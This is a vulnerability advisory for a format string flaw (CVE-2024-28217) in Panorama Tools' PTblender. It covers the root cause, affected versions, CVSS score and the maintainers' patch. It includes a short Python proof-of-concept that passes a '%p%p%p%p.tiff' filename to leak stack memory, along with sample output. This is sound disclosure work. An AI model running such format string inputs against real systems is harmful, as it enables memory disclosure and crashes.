Tainted format string in Panorama Tools (CVE-2024-28217)
Summary
A user-controlled format string in ReadHistograms() in Panorama Tools' PTblender 0.4 through 2.9.21 allows local users to crash the program, or read and write the memory via the filename of an image.
Root cause analysis
The PrintError variadic function takes a format string as the first parameter and is a proxy for PrintErrorIntern. The latter calls vsnprintf(message, sizeof(message)-1, fmt, ap), where fmt can be user-controlled. The output is printed afterward in a printf call.
Having this in mind, one needs to call PrintError with a user-controlled input in order to trigger the format string vulnerability. By analysing the source code, it was deduced that the function is called in this fashion in multiple locations.
PTblender was leveraged as it can produce the following call trace:
1. ColourBrightness.c:ColourBrightness();
2. ColourBrightness.c:ReadHistograms; and
3. PrintError with a tainted argument.
ReadHistograms creates a tempString2 string using snprintf(tempString2, sizeof(tempString2)-1, "Could not open TIFF file [%s]", tempString). As tempString is user-controlled via PTblender's arguments, it can contain control strings like %s, %p, and %n. They will be reflected in tempString2, which is used as an argument for PrintError, which triggers the format string vulnerability.
CWEs
- CWE-134: Use of Externally-Controlled Format String
Affected components and releases
The affected function is ReadHistograms() from ColourBrightness.c, which is called when running the PTblender executable.
PTblender.c and the vulnerable code from ColourBrightness.c were introduces in the revision 217. All subsequent releases after January 2006 (starting from 0.4) are vulnerable.
The vulnerability was patched in 271b8ab4bd66 by removing the snprintf call before PrintError. The commit is embedded in the 2.9.22 release.
This being said, the versions are those between >=0.4 and <=2.9.21.
Attack vector
An attacker must control the filename of the image supplied for processing to PTblender.
Impact
The format string attacks permit the attacker to interrupt PTblender's functioning, read the memory of the process, or write to it.
CVSS v3.1 vector
- Vector:
AV:L/AC:L/PR:L/UI:R/S:U/C:L/I:L/A:H - Base score: 6.1
Steps to reproduce
By running the above script, an error containing the stack's content will be printed:
from pwn import process, ELF
import shutil
import os
FORMAT_STRING = "%p%p%p%p"
FIRST_IMAGE_FILENAME = FORMAT_STRING + ".tiff"
SECOND_IMAGE_FILENAME = "backup.tiff"
shutil.copyfile("image.tiff", FIRST_IMAGE_FILENAME)
shutil.copyfile("image.tiff", SECOND_IMAGE_FILENAME)
p = process(
[
"/usr/bin/PTblender",
"-f",
"-p",
"mend",
FIRST_IMAGE_FILENAME,
SECOND_IMAGE_FILENAME,
]
)
os.remove(FIRST_IMAGE_FILENAME)
output = p.recvall().decode("utf-8")
print(output)
A run of the exploitation script on Ubuntu 22.04 LTS outputs the following:
bash
$ python3 exploit.py
[...]
PTblender Version 2.9.20 , originally written by Helmut Dersch, rewritten by Daniel M German
Output prefix 2 mend
TIFFOpen: %p%p%p%p.tiff: No such file or directory.
Could not open TIFF file [0xffffa9cbab58(nil)(nil)0x3ffffa7de4d20.tiff]
[...]
Patch
Recommended to the maintainers
As PrintError is intended to be called with a format string and multiple arguments, it can be gcc-annotated with format, such that the format argument is type checked during compilation. Please see gcc's documentation.
Applied by the maintainers
The vulnerability was patched in the commit 271b8a by removing the snprintf calls before the PrintError ones.
The patch was made available to the users in the 2.9.22 release.